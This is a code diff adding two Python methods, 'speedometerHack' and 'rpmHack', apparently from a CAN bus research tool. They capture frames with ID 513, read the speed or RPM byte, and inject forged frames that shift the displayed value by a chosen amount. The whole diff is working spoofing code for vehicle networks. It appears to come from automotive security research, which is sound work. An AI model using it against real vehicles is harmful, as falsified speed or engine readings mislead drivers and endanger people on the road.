+ def speedometerHack(self, inputs):
+
+ self.client.serInit()
+ self.spitSetup(500)
+
+ self.addFilter([513, 513, 513])
+
+ SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+
+ while(1):
+
+ packet = None;
+
+ # catch a packet and check its db4 value
+ while (packet == None):
+ packet=self.client.rxpacket();
+
+ print self.client.packet2str(packet)
+
+ print "DB4 = %02d " %ord(packet[9])
+ mph = 1.617*ord(packet[9]) - 63.5
+ print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
+
+ # calculate our new mph and db4 value
+ mph = mph + inputs[0];
+ newSpeed = ( mph + 63.5 ) / 1.617
+ print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
+
+
+ newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
+
+ # load new packet into TXB0 and check time
+ self.multiPacketSpit(packet0=newPacket, packet0rts=True)
+ starttime = time.time()
+
+ # spit new value for 1 second
+ while (time.time()-starttime < 1):
+ self.multiPacketSpit(packet0rts=True)
+
+ def rpmHack(self, inputs):
+
+ self.client.serInit()
+ self.spitSetup(500)
+
+ self.addFilter([513, 513, 513])
+
+ SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+
+ while(1):
+
+ packet = None;
+
+ # catch a packet and check its db4 value
+ while (packet == None):
+ packet=self.client.rxpacket();
+
+ print self.client.packet2str(packet)
+
+ print "DB4 = %02d " %ord(packet[5])
+ rpm = 64.5*ord(packet[5]) - 61.88
+ print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
+
+ # calculate our new mph and db4 value
+ rpm = rpm + inputs[0];
+ newRPM = ( rpm + 61.88 ) / 64.5
+ print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
+
+
+ newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
+
+ # load new packet into TXB0 and check time
+ self.multiPacketSpit(packet0=newPacket, packet0rts=True)
+ starttime = time.time()
+
+ # spit new value for 1 second
+ while (time.time()-starttime < 1):
+ self.multiPacketSpit(packet0rts=True)
+